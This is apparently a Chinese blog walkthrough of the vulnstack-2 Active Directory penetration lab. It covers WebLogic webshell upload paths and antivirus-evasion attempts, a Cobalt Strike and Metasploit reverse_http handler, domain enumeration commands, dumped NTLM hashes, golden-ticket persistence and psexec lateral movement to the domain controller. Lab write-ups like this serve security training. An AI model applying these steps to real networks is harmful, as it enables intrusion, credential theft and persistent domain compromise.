vlunstack-2(复现红日安全-ATT CK实战)
环境搭建

配置信息
DC
IP:10.10.10.10
OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80
IP2:192.168.47.131
OS:Windows 2008(64)
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201
IP2:192.168.47.130
OS:Windows 7(32)
攻击机
IP:192.168.47.128
WEB,PC 有360和防火墙
网络配置:
内网默认网段为10.10.10.1/24
DMZ默认网段为 192.168.111.1/24
管理员 Administrator / 1qaz@WSX
三台机子的默认密码都是1qaz@WSX,但是web这一台服务器默认密码登录会错误,解决办法是选择v1.3的快照,报错之后点击放弃,然后重启web虚拟机就可以进了。
同时需要在web机开启weblogic服务
内网
首先添加一个vm2的内网自定义,设置子网为10.10.10.1/24
当虚拟机开启时,会采用已经设定过的ip地址(必须符合10.10.10开头

将DC,PC,WEB 设为 vm2 (内网环境)



外网
内网设置好了,外网这样设置
我设置的外网连接方式为NAT
将 攻击机,PC,WEB 外网设置为NAT,为了与kali在同一网段
PC与WEB做修改如下:

Dc:

Pc

Win

开启web服务
开启WEB的服务:管理员身份运行
C:\Oracle\Middleware\user_projects\domains\base_domain


信息收集
Nmap端口扫描
nmap -T4 -A -p 1-65535 192.168.163.137
由nmap扫描结果可知:
| 端口扫描 | 80,1433,3389,,7001,60966等 |
| 服务版本识别 | IIS httpd 7.5,SQL Server 2008 R2 SP2,远程桌面服务,WebLogic Server |
| 操作系统信息识别 | Windows Server 2008 R2 - 2012 |
| 域 | de1ay.com |
工具检测发现漏洞
Dir查看路劲

查看进程

木马获取shell
weblogic上传木马路径选择:weblogic上传路径
方法1:把shell写到控制台images目录中:
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp //目录上传木马
访问 http://192.168.163.137:7001/console/framework/skins/wlsconsole/images/shell.jsp
方法2:写到uddiexplorer目录中
\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp //目录写入木马,
访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp
方法3:在应用安装目录中
\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp //目录写入木马,
访问 http://*.*.*.*:7001/项目名/shell.jsp
这里选择第一种
上传木马

被360查杀了

给冰蝎做免杀
GitHub - Tas9er/ByPassBehinder: ByPassBehinder / 冰蝎WebShell免杀生成 / Code By:Tas9er
生成木马
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
查看生成成功了

但是太老了还是被查杀了

只能关闭360了不然免杀都不会做
冰蝎尝试一直失败
用哥斯拉

连接成了
cs生成监听器反弹到cs客户端

哥斯拉上传cs木马文件

Cs端收到回连

接着用ms-15权限提升

域内信息
1). 本机信息收集
1). 本机信息收集
shell Systeminfo //查看操作系统信息
shell Ipconfig /all //查询本机ip段,所在域等
shell Whoami //查看当前用户权限
shell Net user //查看本地用户
shell Net localgroup administrators //查看本地管理员组(通常 包含域用户)



得知web服务器为Windows server 2008 有两个网段
2). 域内信息收集
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组


域名为de1ay.com 存在两台域主机web和pc 域控为DCde1ay.com主机名为DC,域管理员为Administrator
接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
内网安全:Cobalt Strike 与 MSF 联动( 会话 相互转移 )_msfconsole的background挂起会话后怎么启动会话-CSDN博客
https://blog.csdn.net/weixin_54977781/article/details/131178720?ops_request_misc=%7B%22request%5Fid%22%3A%22172250449416800213084897%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=172250449416800213084897&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-131178720-null-null.142^v100^pc_search_result_base9&utm_term=cobalt strike4.7%E8%81%94%E5%8A%A8msf&spm=1018.2226.3001.4187
服务器安装msf
chmod 755 msfinstall.sh && ./msfinstall.sh
会话转移
(1)msfconsole // 打开 MSF 工具
(2)use exploit/multi/handler // 设置 监听 模块.
(3)set payload windows/meterpreter/reverse_http // 设置 payload
(4)set lport 4444 // 设置一个端口(和上面的监听一样的端口)
(5)set lhost 0.0.0.0 // 设置本地的 IP 地址
(6)exploit // 进行测试

Cs生成外联监听器

权力委派上线成功
新建会话

Cs抓取密码凭证

权限维持
记录域名DE1AY.com的SID值
Authentication Id : 0 ; 158137 (00000000:000269b9)
Session : Service from 0
User Name : mssql
Domain : DE1AY
Logon Server : DC
Logon Time : 2024/8/5 7:02:10
SID : S-1-5-21-2756371121-2868759905-3853650604-2103
hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
制作黄金票据
Administrator
DE1AY.com
S-1-5-21-2756371121-2868759905-3853650604-2103
31d6cfe0d16ae931b73c59d7e0c089c0

用于权限维持
横向渗透
smb渗透
端口扫描

目标列表查看

创建smb监听

右击会话—jump—psexec64(PC为32位,需要使用psexec)

10.10.10.10上线成功了

再次端口扫描发现
10.10.10.201

同样的方法上线成功了

思考总结:
免杀不会,外网打点信息收集不全,横向不熟练,渗透框架还不够结实
相关文章:
vlunstack-2(复现红日安全-ATT CK实战)
环境搭建 配置信息 DC IP:10.10.10.10 OS:Windows 2012(64) 应用:AD域 WEB IP1:10.10.10.80 IP2:192.168.47.131 OS:Windows 2008(64) 应用:Weblogic 10.3.6MSSQL 2008 PC IP1:10.10…...
【生信入门】预览快速体验Linux-重生之小明闯Linux
生信少走弯路,快试试生信云专用服务器。新用户注册免费体验5小时。https://www.tebteb.cc 一.故事 小明的Linux冒险 在一片混沌的黑暗中,小明睁开了眼睛。他感到头痛欲裂,四周一片漆黑,只有一行闪烁的字符映入眼帘: [xiaomingu…...
用.net core简易搭建webapi托管到IIS
1、从官网下载.NET Core 托管捆绑包 https://learn.microsoft.com/zh-cn/aspnet/core/tutorials/publish-to-iis?viewaspnetcore-8.0&tabsvisual-studio 2、新建ASP.NET Core WEB API项目 新建控制器TestController并生成GetInfo方法 3、发布 目标路径选择 2)显示所有…...
【计算机网络---OSI七层模型】
一、OSI的基本概念及原则 OSI是Open System Interconnect的缩写,意为开放式系统互联。各个层次的划分遵循以下原则: 1. 同一层的各网络节点都有相同的层次结构,具有同样的功能; 2. 同一节点的内相邻层之间通过接口进行通信&…...
Error updating database. Cause: org.apache.shiro.UnavailableSecurity
mybtisplus查看MetaObjectHandler是否有自定义获取用户信息填充用户的方法...
【网络安全】本地文件包含及远程文件包含漏洞详解
一、文件包含漏洞概述 1.1 什么是文件包含 开发人员将需要重复调用的函数写入一个文件,对该文件进行包含时产生的操作。这样编写代码能减少冗余,降低代码后期维护难度。 保证网站整体风格统一:导航栏、底部footer栏等,把这些不…...
redis启动的三种方式
默认启动: # 默认的启动指令 redis-server 默认启动属于前台启动,会阻塞整个会话窗口,窗口关闭或者按下CTRL C则Redis停止。不推荐使用。 //查看云服务器是否安装过redis redis-server -v//检查安装目录 which redis-server//查看redis进…...
手机怎么远程控制电脑屏幕?手机远程控制电脑方法分享
手机与电脑之间的互联互通变得越来越便捷。 无论是工作还是学习,有时我们需要在手机上远程控制电脑屏幕,以完成一些复杂的操作或查看电脑上的文件。 本文将详细介绍几种实用的手机远程控制电脑屏幕的方法,帮助读者轻松实现这一目标。 一、使…...
NET的全称、主要功能以及在计算机网络中的作用?
.NET是一个广泛的、全方位的平台,应用于开发网站、应用程式、网页应用程式和网络服务。以下是.NET的全称、主要功能以及在计算机网络中的作用: .NET的全称 .NET的全称实际上是Microsoft .NET Framework。它是微软公司推出的一种面向网络的开发框架&…...
LLM - 使用 HuggingFace + Ollama 部署最新大模型 (GGUF 格式 与 Llama 3.1)
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/141028040 免责声明:本文来源于个人知识与公开资料,仅用于学术交流,欢迎讨论,不支持转载。 Ollama…...
如何实现Redis和Mysql中数据双写一致性
在我们的实际开发中,我们用到了redis缓存一些常用的数据(如热点数据)用来提高系统的吞吐量。 但是不可以避免的出现了数据的修改场景,这就导致了数据库中的数据和Redis中出现不一致性的情况。如何保证数据一致性就显得非常重要了&…...
three.js 模型高亮效果实现说明(结合react)
three.js react 实现鼠标移入模型高亮选中效果 使用EffectComposer和其附加的渲染效果Passes(如RenderPass和OutlinePass)来实现高级渲染效果。首先创建EffectComposer实例,并添加RenderPass和OutlinePass,最后在渲染循环中调用…...
入营测评题解
第一题:first 第二题:chengji 打擂台,每个数跟当前最大、最小值比较,维护当前最值即可。 #include<bits/stdc.h> using lllong long; using namespace std;const int N1e610;int n; int x;//1e9, ll最大9e18 ll maxn0,minn…...
制造知识普及(十)-- 常见的工业软件介绍
「 1. ERP」 企业资源计划(enterprise resource planning,ERP)是制造企业的核心管理软件。ERP系统的基本思想是以销定产,协同管控企业的产、供、销、人、财、物等资源,帮助企业按照销售订单,基于产品的制造…...
Windows系统设置网络IPv4和IPv6优先访问级
Windows系统设置网络IPv4和IPv6优先访问级 资源宝整理分享:www.httple.net 在数字化的世界中,我们离不开互联网,而互联网协议(IP协议)则扮演着至关重要的角色。IPv4曾是互联网的主要标准,但随着IP地址枯竭问…...
yolov8 剪枝 - DepGraph
2024年8月5 5000张图片,2个类别。 yolov8n 初始: 185 layers, 3151904 parameters, 31936 gradients, 8.7 GFLOPs 经过三次finetune后: 185 layers, 2327024 parameters, 31936 gradients, 6.6 GFLOPs 经过第四次fintune后: …...
【网络】套接字socket编程预备知识
1.源IP地址和目的IP 计算机网络中的源地址和目的地址是用来标识网络中的不同主机的。 源地址是指发送数据包的主机的地址,而目的地址则是指接收数据包的主机的地址,在数据包传输过程中,每经过一个路中器感交换机,都会根据目的地址…...
【学习笔记】Day 8
写在开头: 最近老板突然提出一个全新的组会主题,是关于 “最近我犯的傻”,其目的在于提供乐子的同时引以为戒。本来我还在愁到底去哪里找干的啥事儿,结果今天直接拉了个大的。什么叫无心插柳柳成荫啊,悲。 一…...
springboot整合libreoffice(两种方式,使用本地和远程的libreoffice);docker中同时部署应用和libreoffice
一、 背景 因为项目中需要使用word转pdf功能,因为转换速度原因,最后选用了libreoffice,原因及部署请参考 linux ubuntu环境安装libreoffice,word转pdf 远程调用的话可选docker部署,请看2.3.1 二、springboot整合libr…...
从入门到精通:大学生编程技能提升全攻略
文章目录 每日一句正能量前言编程语言选择编程语言选择:为新手导航Python:初学者的友好伙伴JavaScript:Web开发的核心Java:企业级应用的经典C:系统编程的基石Ruby:优雅高效的编程Swift:iOS开发的…...
Local SDXL-Turbo新手入门:一键部署,实时创作赛博朋克世界
Local SDXL-Turbo新手入门:一键部署,实时创作赛博朋克世界 【一键部署镜像】Local SDXL-Turbo 基于StabilityAI SDXL-Turbo的毫秒级实时绘画工具 支持流式提示词编辑、所见即所得构图、512512高清输出 1. 为什么选择Local SDXL-Turbo? 传统…...
Fish Speech 1.5语音合成:新手必看的部署与使用教程
Fish Speech 1.5语音合成:新手必看的部署与使用教程 1. 引言:为什么选择Fish Speech 1.5 想象一下,你正在制作一个短视频,需要给旁白配音,但自己录音效果总是不理想。或者你开发了一个智能客服系统,希望给…...
技术解析 || 语义分割里程碑 —— DeepLabV2 核心机制与实战演进
1. DeepLabV2为何成为语义分割里程碑 第一次看到DeepLabV2论文时,最让我惊讶的是它在PASCAL VOC 2012测试集上72.6%的mIOU成绩。要知道在当时,这个成绩比前一年最好的模型提升了近10个百分点。这种飞跃式的进步,源于三个关键技术创新形成的&q…...
手把手教你用Node.js对接阿里云/火山引擎TTS流式API(附完整代码与避坑指南)
Node.js实战:阿里云与火山引擎TTS流式API集成全攻略 在语音交互应用开发中,文本转语音(TTS)技术的流畅度直接影响用户体验。传统一次性请求的TTS接口往往存在明显延迟,而流式API则能实现"边生成边播放"的效果。本文将带你从零实现…...
深入解析CryptoJS:AES加密与解密在前端安全传输中的实战应用
1. 为什么前端需要加密传输? 想象一下这样的场景:用户在登录页面输入账号密码,点击提交按钮后,这些敏感信息会以明文形式在网络中传输。如果被中间人截获,后果不堪设想。这就是为什么我们需要在前端对敏感数据进行加密…...
【gis系列】从等高线到地形分析:dem生成与高程、坡度、坡向解析
1. 从等高线到DEM:数据准备与处理 搞地形分析的朋友们都知道,DEM(数字高程模型)是我们的基础粮草。但很多人卡在第一步——怎么把原始等高线数据变成可用的DEM?我当年第一次做这个的时候,踩了不少坑&#x…...
SEO 营销软文如何提高转化效果
SEO 营销软文如何提高转化效果 在当今数字营销的竞争中,SEO 营销软文已经成为了许多企业提升品牌知名度和吸引潜在客户的重要手段。不少企业在实际操作中发现,虽然软文发布量大,但转化效果却不尽如人意。SEO 营销软文如何真正提高转化效果呢…...
PowerPaint-V1 Gradio与LangChain集成:智能图像处理流程自动化
PowerPaint-V1 Gradio与LangChain集成:智能图像处理流程自动化 1. 引言 你有没有遇到过这样的情况:需要批量处理一批图片,每张图片都需要进行不同的修复操作?比如有些需要去掉水印,有些需要添加特定物体,…...
7张图看懂Claude Code:从架构图解到工程实现
这篇文章用7张图架构图解的方式,系统讲解Claude Code的工程实现。 为什么要关注Claude Code? 2026年3月31日,Anthropic的Claude Code CLI工具因npm发布包意外暴露了.map文件,导致完整源码泄露。 这虽然说不是一次主动的开源&am…...
在VMware Workstation上实战部署华为eSight网络管理平台
1. 环境准备:从零搭建虚拟化实验平台 第一次接触华为eSight时,我完全被它的企业级功能震撼了——但随之而来的问题是:如何在个人电脑上搭建测试环境?经过多次实践,我发现VMware Workstation是最理想的实验平台。这里分…...
